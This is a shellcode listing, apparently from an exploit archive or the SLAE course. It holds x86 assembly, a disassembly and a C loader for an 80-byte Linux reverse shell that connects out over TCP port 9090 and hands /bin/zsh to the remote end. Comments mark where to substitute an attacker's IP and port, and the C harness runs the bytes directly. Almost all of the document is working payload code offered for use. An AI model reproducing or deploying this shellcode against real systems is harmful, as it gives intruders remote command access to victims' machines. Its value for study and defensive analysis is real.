Linux/x86 - Reverse (127.255.255.254:9090/TCP) Shell (/bin/zsh) Shellcode (80 bytes)

/* 

;
; Linux x86
; Author:  thryb
; Date:    21-07-16
; Purpose: Reverse /bin/zsh to TCP port 9090
; Size:    80 bytes
; ID:      SLAE-770
; Git:     https://www.github.com/thryb/SLAE-770
; 


global _start

section .text

_start:

	xor eax, eax ; cleaning registers
	xor ebx, ebx

	; 1 - create socket
        ; socket(AF_INET, SOCK_STREAM, 0);
        ; #define SYS_SOCKET      1               // sys_socket(2) 
	push eax ; null terminate
	push byte 0x1 ; stack = 0, 1 
	push byte 0x2 ; stack = 0, 1, 2 (0, SOCK_STREAM, AF_INET)
	mov al, 0x66 ; sys_socketcall = 102
	mov bl, 0x1 ; socketcall() socket = 1
	mov ecx, esp ; mv stack ptr into ecx
	int 0x80 ; init

	xchg esi, eax ; saving sockfd
	
	; 2 - Connect 
	; connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

	mov al, 0x66 ; sys_socketcall = 102
	add ebx, 0x2 ; sys_connect = 3
	push 0xefffff7f ; 127.255.255.254 (ip2shell.py)
	push word 0x8223 ; 9090 (port2shell.py)
	push word 0x2 ; 2 AF_INET
	mov ecx, esp ; mv stack ptr to ecx
	push 0x10 ; addr leght 16
	push ecx ; ptr address
	push esi ; fd
	mov ecx, esp ;  mv final stack ptr to ecx
	int 0x80 ; init

	xchg eax, esi   ; save sockfd 

        ; 3 - dup
        ; sys_dup2 = 63 = 0x3f

        xor ecx, ecx    ; NULL ecx
        add cl, 0x2     ; add 2 to counter

        dup2: ; STDIN, STDOUT, STDERR
                mov al, 0x3f    ; sys_dup2
                int 0x80        ; init
                dec cl          ; decrement counter
                jns dup2        ; Jump on No Sign (Positive)

	; 4 - execve /bin/zsh
        ; normal execve shell exec

        push eax ; null
        push 0x68737a2f ; hsz/
        push 0x6e69622f ; nib/
	mov ebx, esp ; mv stack ptr to ebx
	push eax ; null
	push ebx ; push ptr addr
	mov ecx, esp ; mv new stack ptr to ecx
        mov al, 0xb     ; sys_execve (11)
        int 0x80        ; init


============================================================================================================

No NULL

./reverse-zsh-tcp-9090.bin:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       50                      push   %eax
 8048065:       6a 01                   push   $0x1
 8048067:       6a 02                   push   $0x2
 8048069:       b0 66                   mov    $0x66,%al
 804806b:       b3 01                   mov    $0x1,%bl
 804806d:       89 e1                   mov    %esp,%ecx
 804806f:       cd 80                   int    $0x80
 8048071:       96                      xchg   %eax,%esi
 8048072:       b0 66                   mov    $0x66,%al
 8048074:       83 c3 02                add    $0x2,%ebx
 8048077:       68 7f ff ff ef          push   $0xefffff7f
 804807c:       66 68 23 82             pushw  $0x8223
 8048080:       66 6a 02                pushw  $0x2
 8048083:       89 e1                   mov    %esp,%ecx
 8048085:       6a 10                   push   $0x10
 8048087:       51                      push   %ecx
 8048088:       56                      push   %esi
 8048089:       89 e1                   mov    %esp,%ecx
 804808b:       cd 80                   int    $0x80
 804808d:       96                      xchg   %eax,%esi
 804808e:       31 c9                   xor    %ecx,%ecx
 8048090:       80 c1 02                add    $0x2,%cl

08048093 <dup2>:
 8048093:       b0 3f                   mov    $0x3f,%al
 8048095:       cd 80                   int    $0x80
 8048097:       fe c9                   dec    %cl
 8048099:       79 f8                   jns    8048093 <dup2>
 804809b:       50                      push   %eax
 804809c:       68 2f 7a 73 68          push   $0x68737a2f
 80480a1:       68 2f 62 69 6e          push   $0x6e69622f
 80480a6:       89 e3                   mov    %esp,%ebx
 80480a8:       50                      push   %eax
 80480a9:       53                      push   %ebx
 80480aa:       89 e1                   mov    %esp,%ecx
 80480ac:       b0 0b                   mov    $0xb,%al
 80480ae:       cd 80                   int    $0x80


*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x96\xb0\x66\x83\xc3\x02\x68"

// Replace IP here (use ip2shell.py to generate IP).
"\x7f\xff\xff\xef"
// *****************

"\x66\x68"

// Replace port here (use port2shell.py to generate IP).
"\x23\x82"
// *****************

"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x96\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}